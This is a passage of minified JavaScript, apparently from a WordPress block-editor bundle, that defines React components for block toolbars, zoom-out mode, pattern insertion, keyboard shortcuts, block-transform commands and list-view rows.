0:o.patternName,u=r(e);return{categories:a,patterns:a.length>0?l(u):Yy,patternName:c}}),[e]),{replaceBlocks:r}=(0,d.useDispatch)(hs),l=(0,u.useMemo)((()=>0!==n.length&&o&&0!==o.length?o.filter((e=>{var t,o;const i="core"===e.source||(null===(t=e.source)||void 0===t?void 0:t.startsWith("pattern-directory"))&&"pattern-directory/theme"!==e.source;return 1===e.blocks.length&&!i&&(null===(o=e.categories)||void 0===o?void 0:o.some((e=>n.includes(e))))&&("unsynced"===e.syncStatus||!e.id)})):Yy),[n,o]);if(l.length<2)return null;const s=t;return(0,Nt.jsx)(s,{label:(0,Je.__)("Shuffle"),icon:qy,className:"block-editor-block-toolbar-shuffle",onClick:()=>{const t=function(){const e=l.length,t=l.findIndex((({name:e})=>e===i));return l[t+1<e?t+1:0]}();t.blocks[0].attributes={...t.blocks[0].attributes,metadata:{...t.blocks[0].attributes.metadata,categories:n}},r(e,t.blocks)}})}function Jy({clientId:e,__unstableContentRef:t}){const n=(0,d.useSelect)((t=>{const{getBlock:n,hasBlockMovingClientId:o,getNextBlockClientId:i,getPreviousBlockClientId:r,canRemoveBlock:l,canMoveBlock:s,getSettings:a}=t(hs),{__experimentalSetIsInserterOpened:u}=a(),{getBlockType:d}=t(c.store),{name:p}=n(e),h=d(p),g="core/template-part"===(null==h?void 0:h.name);let f=!1;const m=i();if(m){const{name:e}=n(m),t=d(e);f="core/template-part"===(null==t?void 0:t.name)}let v=!1;const b=r();if(b){const{name:e}=n(b),t=d(e);v="core/template-part"===(null==t?void 0:t.name)}return{blockMovingMode:o(),isBlockTemplatePart:g,isNextBlockTemplatePart:f,isPrevBlockTemplatePart:v,canRemove:l(e),canMove:s(e),setIsInserterOpened:u}}),[e]),{blockMovingMode:o,isBlockTemplatePart:i,isNextBlockTemplatePart:r,isPrevBlockTemplatePart:l,canRemove:s,canMove:a,setIsInserterOpened:u}=n,{removeBlock:p,__unstableSetEditorMode:h,resetZoomLevel:g}=ge((0,d.useDispatch)(hs)),f=ms("zoom-out-toolbar",{"is-block-moving-mode":!!o}),m=a&&!i;return(0,Nt.jsxs)(Fy,{className:f/* translators: accessibility text for the block toolbar */,"aria-label":(0,Je.__)("Block tools"),variant:"unstyled",orientation:"vertical",children:[m&&(0,Nt.jsx)(Yk,{clientIds:[e],children:e=>(0,Nt.jsx)(ne.Button,{icon:zd,className:"block-selection-button_drag-handle zoom-out-toolbar-button",label:(0,Je.__)("Drag"),iconSize:24,size:"compact",tabIndex:"-1",...e})}),!i&&(0,Nt.jsx)(a_,{clientIds:[e],hideDragHandle:!0,isBlockMoverUpButtonDisabled:l,isBlockMoverDownButtonDisabled:r,iconSize:24,size:"compact"}),a&&s&&(0,Nt.jsx)(Qy,{clientId:e,as:ne.ToolbarButton}),!i&&(0,Nt.jsx)(ne.ToolbarButton,{className:"zoom-out-toolbar-button",icon:Ky,label:(0,Je.__)("Edit"),onClick:()=>{var e;"function"==typeof u&&u(!1),h("edit"),g(),null===(e=t.current)||void 0===e||e.focus()}}),s&&!i&&(0,Nt.jsx)(ne.ToolbarButton,{className:"zoom-out-toolbar-button",icon:Zy,label:(0,Je.__)("Delete"),onClick:()=>{p(e)}})]})}function ex({clientId:e,__unstableContentRef:t}){const{capturingClientId:n,isInsertionPointVisible:o,lastClientId:i}=Zk(e),r={...Kk({contentElement:null==t?void 0:t.current,clientId:e}),placement:"left-start",flip:!1,shift:!0};return(0,Nt.jsx)(rk,{clientId:n||e,bottomClientId:i,className:ms("zoom-out-toolbar-popover",{"is-insertion-point-visible":o}),resize:!1,...r,children:(0,Nt.jsx)(Jy,{__unstableContentRef:t,clientId:e})})}const tx=function({isVisible:e,onClick:t}){const[n,o]=(0,u.useState)(!1);return(0,Nt.jsx)(ne.Button,{variant:"primary",icon:xd,size:"compact",className:ms("block-editor-button-pattern-inserter__button","block-editor-block-tools__zoom-out-mode-inserter-button",{"is-visible":e||n}),onClick:t,onMouseOver:()=>{o(!0)},onMouseOut:()=>{o(!1)},label:(0,Je._x)("Add pattern","Generic label for pattern inserter button")})},nx=function(){const[e,t]=(0,u.useState)(!1),{hasSelection:n,blockInsertionPoint:o,blockOrder:i,blockInsertionPointVisible:r,setInserterIsOpened:l,sectionRootClientId:s,selectedBlockClientId:a,hoveredBlockClientId:c}=(0,d.useSelect)((e=>{const{getSettings:t,getBlockInsertionPoint:n,getBlockOrder:o,getSelectionStart:i,getSelectedBlockClientId:r,getHoveredBlockClientId:l,isBlockInsertionPointVisible:s,getSectionRootClientId:a}=ge(e(hs)),c=a();return{hasSelection:!!i().clientId,blockInsertionPoint:n(),blockOrder:o(c),blockInsertionPointVisible:s(),sectionRootClientId:c,setInserterIsOpened:t().__experimentalSetIsInserterOpened,selectedBlockClientId:r(),hoveredBlockClientId:l()}}),[]),{showInsertionPoint:p}=(0,d.useDispatch)(hs);return(0,u.useEffect)((()=>{const e=setTimeout((()=>{t(!0)}),500);return()=>{clearTimeout(e)}}),[]),e?[void 0,...i].map(((e,t)=>{const u=r&&o.index===t,d=e,h=i[t],g=n&&(a===d||a===h),f=c===d||c===h;return(0,Nt.jsx)(Lb,{previousClientId:d,nextClientId:h,children:!u&&(0,Nt.jsx)(tx,{isVisible:g||f,onClick:()=>{l({rootClientId:s,insertionIndex:t,tab:"patterns",category:"all"}),p(s,t,{operation:"insert"})}})},t)})):null};function ox(e){const{getSelectedBlockClientId:t,getFirstMultiSelectedBlockClientId:n,getSettings:o,__unstableGetEditorMode:i,isTyping:r}=e(hs),l=t()||n(),s=i();return{clientId:l,hasFixedToolbar:o().hasFixedToolbar,isTyping:r(),isZoomOutMode:"zoom-out"===s}}function ix({children:e,__unstableContentRef:t,...n}){const{clientId:o,hasFixedToolbar:i,isTyping:r,isZoomOutMode:l}=(0,d.useSelect)(ox,[]),s=(0,hp.__unstableUseShortcutEventMatch)(),{getBlocksByClientId:a,getSelectedBlockClientIds:p,getBlockRootClientId:h,isGroupable:g}=(0,d.useSelect)(hs),{getGroupingBlockName:f}=(0,d.useSelect)(c.store),{showEmptyBlockSideInserter:m,showBreadcrumb:v,showBlockToolbarPopover:b,showZoomOutToolbar:k}=(0,d.useSelect)((e=>{const{getSelectedBlockClientId:t,getFirstMultiSelectedBlockClientId:n,getBlock:o,getBlockMode:i,getSettings:r,hasMultiSelection:l,__unstableGetEditorMode:s,isTyping:a}=e(hs),u=t()||n(),d=o(u),p=s(),h=!!u&&!!d,g=h&&(0,c.isUnmodifiedDefaultBlock)(d)&&"html"!==i(u),f=u&&!a()&&"edit"===p&&g,m=h&&!l()&&"navigation"===p;return{showEmptyBlockSideInserter:f,showBreadcrumb:!f&&m,showBlockToolbarPopover:h&&!m,showZoomOutToolbar:!1}}),[]),{clearSelectedBlock:_,duplicateBlocks:y,removeBlocks:x,replaceBlocks:S,insertAfterBlock:w,insertBeforeBlock:C,selectBlock:B,moveBlocksUp:I,moveBlocksDown:j,expandBlock:E}=ge((0,d.useDispatch)(hs)),T=(0,u.useRef)(),P=Rb(t),M=Rb(t);return(0,Nt.jsx)("div",{...n,onKeyDown:function(e){var n;if(!(null!=e&&null!==(n=e.nativeEvent)&&void 0!==n&&n.iframeEvent||e.defaultPrevented))if(s("core/block-editor/move-up",e)){const t=p();if(t.length){e.preventDefault();const n=h(t[0]);I(t,n)}}else if(s("core/block-editor/move-down",e)){const t=p();if(t.length){e.preventDefault();const n=h(t[0]);j(t,n)}}else if(s("core/block-editor/duplicate",e)){const t=p();t.length&&(e.preventDefault(),y(t))}else if(s("core/block-editor/remove",e)){const t=p();t.length&&(e.preventDefault(),x(t))}else if(s("core/block-editor/insert-after",e)){const t=p();t.length&&(e.preventDefault(),w(t[t.length-1]))}else if(s("core/block-editor/insert-before",e)){const t=p();t.length&&(e.preventDefault(),C(t[0]))}else if(s("core/block-editor/unselect",e)){if(e.target.closest("[role=toolbar]"))return;const n=p();if(n.length>1)e.preventDefault(),B(n[0]);else if(1===n.length&&e.target===(null==T?void 0:T.current)){var i;e.preventDefault(),_(),null===(i=kd(t.current))||void 0===i||i.focus()}}else if(s("core/block-editor/collapse-list-view",e)){var r,l,u;if((0,Cp.isTextField)(e.target)||(0,Cp.isTextField)(null===(r=e.target)||void 0===r||null===(l=r.contentWindow)||void 0===l||null===(u=l.document)||void 0===u?void 0:u.activeElement))return;e.preventDefault(),E(o)}else if(s("core/block-editor/group",e)){const t=p();if(t.length>1&&g(t)){e.preventDefault();const n=a(t),o=f(),i=(0,c.switchToBlockType)(n,o);S(t,i),(0,br.speak)((0,Je.__)("Selected blocks are grouped."))}}},children:(0,Nt.jsxs)(Db.Provider,{value:(0,u.useRef)(!1),children:[!r&&!l&&(0,Nt.jsx)(Hb,{__unstableContentRef:t}),m&&(0,Nt.jsx)(qk,{__unstableContentRef:t,clientId:o}),b&&(0,Nt.jsx)($y,{__unstableContentRef:t,clientId:o,isTyping:r}),v&&(0,Nt.jsx)(Wy,{ref:T,__unstableContentRef:t,clientId:o}),k&&(0,Nt.jsx)(ex,{__unstableContentRef:t,clientId:o}),!l&&!i&&(0,Nt.jsx)(ne.Popover.Slot,{name:"block-toolbar",ref:P}),e,(0,Nt.jsx)(ne.Popover.Slot,{name:"__unstable-block-tools-after",ref:M}),l&&(0,Nt.jsx)(nx,{__unstableContentRef:t})]})})}const rx=window.wp.commands,lx=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M18 4h-7c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 9c0 .3-.2.5-.5.5h-7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7zm-5 5c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h1V9H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-1h-1.5v1z"})}),sx=()=>function(){const{replaceBlocks:e,multiSelect:t}=(0,d.useDispatch)(hs),{blocks:n,clientIds:o,canRemove:i,possibleBlockTransformations:r,invalidSelection:l}=(0,d.useSelect)((e=>{const{getBlockRootClientId:t,getBlockTransformItems:n,getSelectedBlockClientIds:o,getBlocksByClientId:i,canRemoveBlocks:r}=e(hs),l=o(),s=i(l);return s.filter((e=>!e)).length>0?{invalidSelection:!0}:{blocks:s,clientIds:l,possibleBlockTransformations:n(s,t(l[0])),canRemove:r(l),invalidSelection:!1}}),[]);if(l)return{isLoading:!1,commands:[]};const s=1===n.length&&(0,c.isTemplatePart)(n[0]);const a=!!r.length&&i&&!s;return!o||o.length<1||!a?{isLoading:!1,commands:[]}:{isLoading:!1,commands:r.map((i=>{const{name:r,title:l,icon:s}=i;return{name:"core/block-editor/transform-to-"+r.replace("/","-"),/* translators: %s: Block or block variation name. */label:(0,Je.sprintf)((0,Je.__)("Transform to %s"),l),icon:(0,Nt.jsx)(Fa,{icon:s}),callback:({close:i})=>{(function(i){const r=(0,c.switchToBlockType)(n,i);var l;e(o,r),(l=r).length>1&&t(l[0].clientId,l[l.length-1].clientId)})(r),i()}}}))}},ax=()=>{(0,rx.useCommandLoader)({name:"core/block-editor/blockTransforms",hook:sx()}),(0,rx.useCommandLoader)({name:"core/block-editor/blockQuickActions",hook:function(){const{clientIds:e,isUngroupable:t,isGroupable:n}=(0,d.useSelect)((e=>{const{getSelectedBlockClientIds:t,isUngroupable:n,isGroupable:o}=e(hs);return{clientIds:t(),isUngroupable:n(),isGroupable:o()}}),[]),{canInsertBlockType:o,getBlockRootClientId:i,getBlocksByClientId:r,canRemoveBlocks:l}=(0,d.useSelect)(hs),{getDefaultBlockName:s,getGroupingBlockName:a}=(0,d.useSelect)(c.store),u=r(e),{removeBlocks:p,replaceBlocks:h,duplicateBlocks:g,insertAfterBlock:f,insertBeforeBlock:m}=(0,d.useDispatch)(hs);if(!e||e.length<1)return{isLoading:!1,commands:[]};const v=i(e[0]),b=o(s(),v),k=u.every((e=>!!e&&(0,c.hasBlockSupport)(e.name,"multiple",!0)&&o(e.name,v))),_=l(e),y=[];return k&&y.push({name:"duplicate",label:(0,Je.__)("Duplicate"),callback:()=>g(e,!0),icon:u_}),b&&y.push({name:"add-before",label:(0,Je.__)("Add before"),callback:()=>{const t=Array.isArray(e)?e[0]:t;m(t)},icon:xd},{name:"add-after",label:(0,Je.__)("Add after"),callback:()=>{const t=Array.isArray(e)?e[e.length-1]:t;f(t)},icon:xd}),n&&y.push({name:"Group",label:(0,Je.__)("Group"),callback:()=>{if(!u.length)return;const t=a(),n=(0,c.switchToBlockType)(u,t);n&&h(e,n)},icon:oy}),t&&y.push({name:"ungroup",label:(0,Je.__)("Ungroup"),callback:()=>{if(!u.length)return;const t=u[0].innerBlocks;t.length&&h(e,t)},icon:lx}),_&&y.push({name:"remove",label:(0,Je.__)("Delete"),callback:()=>p(e,!0),icon:Zy}),{isLoading:!1,commands:y.map((e=>({...e,name:"core/block-editor/action-"+e.name,callback:({close:t})=>{e.callback(),t()}})))}},context:"block-selection-edit"})},cx={ignoredSelectors:[/\.editor-styles-wrapper/gi]};function ux({shouldIframe:e=!0,height:t="300px",children:n=(0,Nt.jsx)(ek,{}),styles:o,contentRef:i,iframeProps:r}){ax();const l=(0,p.useViewportMatch)("medium","<"),s=Rg(),a=_p(),c=(0,u.useRef)(),h=(0,p.useMergeRefs)([i,a,c]),g=(0,d.useSelect)((e=>ge(e(hs)).getZoomLevel()),[]),f=100===g||l?{}:{scale:g,frameSize:"40px"};return e?(0,Nt.jsx)(ix,{__unstableContentRef:c,className:"block-editor-block-canvas",style:{height:t,display:"flex"},children:(0,Nt.jsxs)(nh,{...r,...f,ref:s,contentRef:h,style:{...null==r?void 0:r.style},name:"editor-canvas",children:[(0,Nt.jsx)(ih,{styles:o}),n]})}):(0,Nt.jsxs)(ix,{__unstableContentRef:c,className:"block-editor-block-canvas",style:{height:t},children:[(0,Nt.jsx)(ih,{styles:o,scope:":where(.editor-styles-wrapper)",transformOptions:cx}),(0,Nt.jsx)(Xp,{ref:h,className:"editor-styles-wrapper",tabIndex:-1,children:n})]})}const dx=function({children:e,height:t,styles:n}){return(0,Nt.jsx)(ux,{height:t,styles:n,children:e})},px=()=>(0,Nt.jsx)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",children:(0,Nt.jsx)(ne.Path,{d:"M7.434 5l3.18 9.16H8.538l-.692-2.184H4.628l-.705 2.184H2L5.18 5h2.254zm-1.13 1.904h-.115l-1.148 3.593H7.44L6.304 6.904zM14.348 7.006c1.853 0 2.9.876 2.9 2.374v4.78h-1.79v-.914h-.114c-.362.64-1.123 1.022-2.031 1.022-1.346 0-2.292-.826-2.292-2.108 0-1.27.972-2.006 2.71-2.107l1.696-.102V9.38c0-.584-.42-.914-1.18-.914-.667 0-1.112.228-1.264.647h-1.701c.12-1.295 1.307-2.107 3.066-2.107zm1.079 4.1l-1.416.09c-.793.056-1.18.342-1.18.844 0 .52.45.837 1.091.837.857 0 1.505-.545 1.505-1.256v-.515z"})}),hx=({style:e,className:t})=>(0,Nt.jsx)("div",{className:"block-library-colors-selector__icon-container",children:(0,Nt.jsx)("div",{className:`${t} block-library-colors-selector__state-selection`,style:e,children:(0,Nt.jsx)(px,{})})}),gx=({TextColor:e,BackgroundColor:t})=>({onToggle:n,isOpen:o})=>(0,Nt.jsx)(ne.ToolbarGroup,{children:(0,Nt.jsx)(ne.ToolbarButton,{className:"components-toolbar__control block-library-colors-selector__toggle",label:(0,Je.__)("Open Colors Selector","kubio"),onClick:n,onKeyDown:e=>{o||e.keyCode!==sd.DOWN||(e.preventDefault(),n())},icon:(0,Nt.jsx)(t,{children:(0,Nt.jsx)(e,{children:(0,Nt.jsx)(hx,{})})})})}),fx=({children:e,...t})=>(Ye()("wp.blockEditor.BlockColorsStyleSelector",{alternative:"block supports API",since:"6.1",version:"6.3"}),(0,Nt.jsx)(ne.Dropdown,{popoverProps:{placement:"bottom-start"},className:"block-library-colors-selector",contentClassName:"block-library-colors-selector__popover",renderToggle:gx(t),renderContent:()=>e})),mx=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z"})}),vx=(0,u.createContext)({}),bx=()=>(0,u.useContext)(vx);function kx({children:e,...t}){const n=(0,u.useRef)();return(0,u.useEffect)((()=>{n.current&&(n.current.textContent=n.current.textContent)}),[e]),(0,Nt.jsx)("div",{hidden:!0,...t,ref:n,children:e})}const yx=(0,u.forwardRef)((({nestingLevel:e,blockCount:t,clientId:n,...o},i)=>{const{insertedBlock:r,setInsertedBlock:l}=bx(),s=(0,p.useInstanceId)(yx),a=(0,d.useSelect)((e=>{const{getTemplateLock:t,__unstableGetEditorMode:o}=e(hs);return!!t(n)||"zoom-out"===o()}),[n]),c=pd({clientId:n,context:"list-view"}),h=pd({clientId:null==r?void 0:r.clientId,context:"list-view"});if((0,u.useEffect)((()=>{null!=h&&h.length&&(0,br.speak)((0,Je.sprintf)(// translators: %s: name of block being inserted (i.e. Paragraph, Image, Group etc) // translators: %s: name of block being inserted (i.e. Paragraph, Image, Group etc) (0,Je.__)("%s block inserted"),h),"assertive")}),[h]),a)return null;const g=`list-view-appender__${s}`,f=(0,Je.sprintf)(/* translators: 1: The name of the block. 2: The numerical position of the block. 3: The level of nesting for the block. */ /* translators: 1: The name of the block. 2: The numerical position of the block. 3: The level of nesting for the block. */(0,Je.__)("Append to %1$s block at position %2$d, Level %3$d"),c,t+1,e);return(0,Nt.jsxs)("div",{className:"list-view-appender",children:[(0,Nt.jsx)(Xh,{ref:i,rootClientId:n,position:"bottom right",isAppender:!0,selectBlockOnInsert:!1,shouldDirectInsert:!1,__experimentalIsQuick:!0,...o,toggleProps:{"aria-describedby":g},onSelectOrClose:e=>{null!=e&&e.clientId&&l(e)}}),(0,Nt.jsx)(kx,{id:g,children:f})]})})),xx=mb(ne.__experimentalTreeGridRow),Sx=(0,u.forwardRef)((({isDragged:e,isSelected:t,position:n,level:o,rowCount:i,children:r,className:l,path:s,...a},c)=>{const u=bb({clientId:a["data-block"],enableAnimation:!0,triggerAnimationOnChange:s}),d=(0,p.useMergeRefs)([c,u]);return(0,Nt.jsx)(xx,{ref:d,className:ms("block-editor-list-view-leaf",l),level:o,positionInSet:n,setSize:i,isExpanded:void 0,...a,children:r})})),wx=Sx,Cx=(0,Nt.jsx)(Rt.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M10.97 10.159a3.382 3.382 0 0 0-2.857.955l1.724 1.723-2.836 2.913L7 17h1.25l2.913-2.837 1.723 1.723a3.38 3.38 0 0 0 .606-.825c.33-.63.446-1.343.35-2.032L17 10.695 13.305 7l-2.334 3.159Z"})}),Bx=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M15 11h-.2V9c0-1.5-1.2-2.8-2.8-2.8S9.2 7.5 9.2 9v2H9c-.6 0-1 .4-1 1v4c0 .6.4 1 1 1h6c.6 0 1-.4 1-1v-4c0-.6-.4-1-1-1zm-1.8 0h-2.5V9c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v2z"})}),Ix=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z"})});function jx({onClick:e}){return(0,Nt.jsx)("span",{className:"block-editor-list-view__expander",onClick:t=>e(t,{forceToggle:!0}),"aria-hidden":"true","data-testid":"list-view-expander",children:(0,Nt.jsx)(Ua,{icon:(0,Je.isRTL)()?Ix:dd})})}function Ex(e){var t;if("core/image"===e.name)return null!==(t=e.attributes)&&void 0!==t&&t.url?{url:e.attributes.url,alt:e.attributes.alt,clientId:e.clientId}:void 0}const Tx=(0,u.forwardRef)((function({className:e,block:{clientId:t},onClick:n,onContextMenu:o,onMouseDown:i,onToggleExpanded:r,tabIndex:l,onFocus:s,onDragStart:a,onDragEnd:c,draggable:p,isExpanded:h,ariaDescribedBy:g},f){const m=Pk(t),v=pd({clientId:t,context:"list-view"}),{isLocked:b}=py(t),{isContentOnly:k}=(0,d.useSelect)((e=>({isContentOnly:"contentOnly"===e(hs).getBlockEditingMode(t)})),[t]),_=b&&!k,y="sticky"===(null==m?void 0:m.positionType),x=function({clientId:e,isExpanded:t}){const{block:n}=(0,d.useSelect)((t=>({block:t(hs).getBlock(e)})),[e]);return(0,u.useMemo)((()=>function(e,t){const n=Ex(e);return n?[n]:t?[]:function(e){if("core/gallery"!==e.name||!e.innerBlocks)return[];const t=[];for(const n of e.innerBlocks){const e=Ex(n);if(e&&t.push(e),t.length>=3)return t}return t}(e)}(n,t)),[n,t])}({clientId:t,isExpanded:h});return(0,Nt.jsxs)(ne.Button,{__next40pxDefaultSize:!1,className:ms("block-editor-list-view-block-select-button",e),onClick:n,onContextMenu:o,onKeyDown:function(e){e.keyCode!==sd.ENTER&&e.keyCode!==sd.SPACE||n(e)},onMouseDown:i,ref:f,tabIndex:l,onFocus:s,onDragStart:e=>{e.dataTransfer.clearData(),null==a||a(e)},onDragEnd:c,draggable:p,href:`#block-${t}`,"aria-describedby":g,"aria-expanded":h,children:[(0,Nt.jsx)(jx,{onClick:r}),(0,Nt.jsx)(Fa,{icon:null==m?void 0:m.icon,showColors:!0,context:"list-view"}),(0,Nt.jsxs)(ne.__experimentalHStack,{alignment:"center",className:"block-editor-list-view-block-select-button__label-wrapper",justify:"flex-start",spacing:1,children:[(0,Nt.jsx)("span",{className:"block-editor-list-view-block-select-button__title",children:(0,Nt.jsx)(ne.__experimentalTruncate,{ellipsizeMode:"auto",children:v})}),(null==m?void 0:m.anchor)&&(0,Nt.jsx)("span",{className:"block-editor-list-view-block-select-button__anchor-wrapper",children:(0,Nt.jsx)(ne.__experimentalTruncate,{className:"block-editor-list-view-block-select-button__anchor",ellipsizeMode:"auto",children:m.anchor})}),y&&(0,Nt.jsx)("span",{className:"block-editor-list-view-block-select-button__sticky",children:(0,Nt.jsx)(Ua,{icon:Cx})}),x.length?(0,Nt.jsx)("span",{className:"block-editor-list-view-block-select-button__images","aria-hidden":!0,children:x.map(((e,t)=>(0,Nt.jsx)("span",{className:"block-editor-list-view-block-select-button__image",style:{backgroundImage:`url(${e.url})`,zIndex:x.length-t}},e.clientId)))}):null,_&&(0,Nt.jsx)("span",{className:"block-editor-list-view-block-select-button__lock",children:(0,Nt.jsx)(Ua,{icon:Bx})})]})]})})),Px=(0,u.forwardRef)((({onClick:e,onToggleExpanded:t,block:n,isSelected:o,position:i,siblingBlockCount:r,level:l,isExpanded:s,selectedClientIds:a,...c},u)=>{const{clientId:p}=n,{blockMovingClientId:h,selectedBlockInBlockEditor:g}=(0,d.useSelect)((e=>{const{hasBlockMovingClientId:t,getSelectedBlockClientId:n}=e(hs);return{blockMovingClientId:t(),selectedBlockInBlockEditor:n()}}),[]),{AdditionalBlockContent:f,insertedBlock:m,setInsertedBlock:v}=bx(),b=ms("block-editor-list-view-block-contents",{"is-dropping-before":h&&g===p}),k=a.includes(p)?a:[p];return(0,Nt.jsxs)(Nt.Fragment,{children:[f&&(0,Nt.jsx)(f,{block:n,insertedBlock:m,setInsertedBlock:v}),(0,Nt.jsx)(Yk,{appendToOwnerDocument:!0,clientIds:k,cloneClassname:"block-editor-list-view-draggable-chip",children:({draggable:a,onDragStart:d,onDragEnd:p})=>(0,Nt.jsx)(Tx,{ref:u,className:b,block:n,onClick:e,onToggleExpanded:t,isSelected:o,position:i,siblingBlockCount:r,level:l,draggable:a,onDragStart:d,onDragEnd:p,isExpanded:s,...c})})]})})),Mx=Px;function Rx(e,t){const n=()=>{const n=null==t?void 0:t.querySelector(`[role=row][data-block="${e}"]`);return n?Cp.focus.focusable.find(n)[0]:null};let o=n();o?o.focus():window.requestAnimationFrame((()=>{o=n(),o&&o.focus()}))}const Nx=(0,u.memo)((function e({block:{clientId:t},displacement:n,isAfterDraggedBlocks:o,isDragged:i,isNesting:r,isSelected:l,isBranchSelected:s,selectBlock:a,position:h,level:g,rowCount:f,siblingBlockCount:m,showBlockMovers:v,path:b,isExpanded:k,selectedClientIds:_,isSyncedBranch:y}){const x=(0,u.useRef)(null),S=(0,u.useRef)(null),w=(0,u.useRef)(null),[C,B]=(0,u.useState)(!1),[I,j]=(0,u.useState)(),{isLocked:E,canEdit:T,canMove:P}=py(t),M=l&&_[0]===t,R=l&&_[_.length-1]===t,{toggleBlockHighlight:N,duplicateBlocks:A,multiSelect:L,replaceBlocks:D,removeBlocks:O,insertAfterBlock:z,insertBeforeBlock:F,setOpenedBlockSettingsMenu:V}=ge((0,d.useDispatch)(hs)),{canInsertBlockType:H,getSelectedBlockClientIds:G,getPreviousBlockClientId:$,getBlockRootClientId:U,getBlockOrder:W,getBlockParents:K,getBlocksByClientId:Z,canRemoveBlocks:q,isGroupable:Y}=(0,d.useSelect)(hs),{getGroupingBlockName:X}=(0,d.useSelect)(c.store),Q=Pk(t),{block:J,blockName:ee,allowRightClickOverrides:te}=(0,d.useSelect)((e=>{const{getBlock:n,getBlockName:o,getSettings:i}=e(hs);return{block:n(t),blockName:o(t),allowRightClickOverrides:i().allowRightClickOverrides}}),[t]),oe=(0,c.hasBlockSupport)(ee,"__experimentalToolbar",!0),ie=`list-view-block-select-button__description-${(0,p.useInstanceId)(e)}`,{expand:re,collapse:le,collapseAll:se,BlockSettingsMenu:ae,listViewInstanceId:ce,expandedState:ue,setInsertedBlock:de,treeGridElementRef:pe,rootClientId:he}=bx(),fe=(0,hp.__unstableUseShortcutEventMatch)();function me(){const e=G(),n=e.includes(t),o=n?e[0]:t,i=U(o);return{blocksToUpdate:n?e:[t],firstBlockClientId:o,firstBlockRootClientId:i,selectedBlockClientIds:e}}const ve=(0,u.useCallback)((()=>{B(!0),N(t,!0)}),[t,B,N]),be=(0,u.useCallback)((()=>{B(!1),N(t,!1)}),[t,B,N]),ke=(0,u.useCallback)((e=>{a(e,t),e.preventDefault()}),[t,a]),_e=(0,u.useCallback)(((e,t)=>{t&&a(void 0,e,null,null),Rx(e,null==pe?void 0:pe.current)}),[a,pe]),ye=(0,u.useCallback)((e=>{e.preventDefault(),e.stopPropagation(),!0===k?le(t):!1===k&&re(t)}),[t,re,le,k]),xe=(0,u.useCallback)((e=>{var t;oe&&te&&(null===(t=w.current)||void 0===t||t.click(),j(new window.DOMRect(e.clientX,e.clientY,0,0)),e.preventDefault())}),[te,w,oe]),Se=(0,u.useCallback)((e=>{te&&2===e.button&&e.preventDefault()}),[te]),we=(0,u.useMemo)((()=>{const{ownerDocument:e}=(null==S?void 0:S.current)||{};if(I&&e)return{ownerDocument:e,getBoundingClientRect:()=>I}}),[I]),Ce=(0,u.useCallback)((()=>{j(void 0)}),[j]);if(function({isSelected:e,selectedClientIds:t,rowItemRef:n}){const o=1===t.length;(0,u.useLayoutEffect)((()=>{if(!e||!o||!n.current)return;const t=(0,Cp.getScrollContainer)(n.current),{ownerDocument:i}=n.current;if(t===i.body||t===i.documentElement||!t)return;const r=n.current.getBoundingClientRect(),l=t.getBoundingClientRect();(r.top<l.top||r.bottom>l.bottom)&&n.current.scrollIntoView()}),[e,o,n])}({isSelected:l,rowItemRef:S,selectedClientIds:_}),!J)return null;const Be=((e,t,n)=>(0,Je.sprintf)(/* translators: 1: The numerical position of the block. 2: The total number of blocks. 3. The level of nesting for the block. */ /* translators: 1: The numerical position of the block. 2: The total number of blocks. 3. The level of nesting for the block. */(0,Je.__)("Block %1$d of %2$d, Level %3$d."),e,t,n))(h,m,g),Ie=((e,t)=>[null!=e&&e.positionLabel?`${(0,Je.sprintf)(// translators: %s: Position of selected block, e.g. "Sticky" or "Fixed". // translators: %s: Position of selected block, e.g. "Sticky" or "Fixed". (0,Je.__)("Position: %s"),e.positionLabel)}.`:void 0,t?(0,Je.__)("This block is locked."):void 0].filter(Boolean).join(" "))(Q,E),je=v&&m>0,Ee=ms("block-editor-list-view-block__mover-cell",{"is-visible":C||l}),Te=ms("block-editor-list-view-block__menu-cell",{"is-visible":C||M});let Pe;je?Pe=2:oe||(Pe=3);const Me=ms({"is-selected":l,"is-first-selected":M,"is-last-selected":R,"is-branch-selected":s,"is-synced-branch":y,"is-dragging":i,"has-single-cell":!oe,"is-synced":null==Q?void 0:Q.isSynced,"is-draggable":P,"is-displacement-normal":"normal"===n,"is-displacement-up":"up"===n,"is-displacement-down":"down"===n,"is-after-dragged-blocks":o,"is-nesting":r}),Re=_.includes(t)?_:[t],Ne=l&&1===_.length;return(0,Nt.jsxs)(wx,{className:Me,isDragged:i,onKeyDown:async function(e){if(e.defaultPrevented)return;if(e.target.closest("[role=dialog]"))return;const t=[sd.BACKSPACE,sd.DELETE].includes(e.keyCode);if(fe("core/block-editor/unselect",e)&&_.length>0)e.stopPropagation(),e.preventDefault(),a(e,void 0);else if(t||fe("core/block-editor/remove",e)){var n;const{blocksToUpdate:e,firstBlockClientId:t,firstBlockRootClientId:o,selectedBlockClientIds:i}=me();if(!q(e))return;let r=null!==(n=$(t))&&void 0!==n?n:o;O(e,!1);const l=i.length>0&&0===G().length;r||(r=W()[0]),_e(r,l)}else 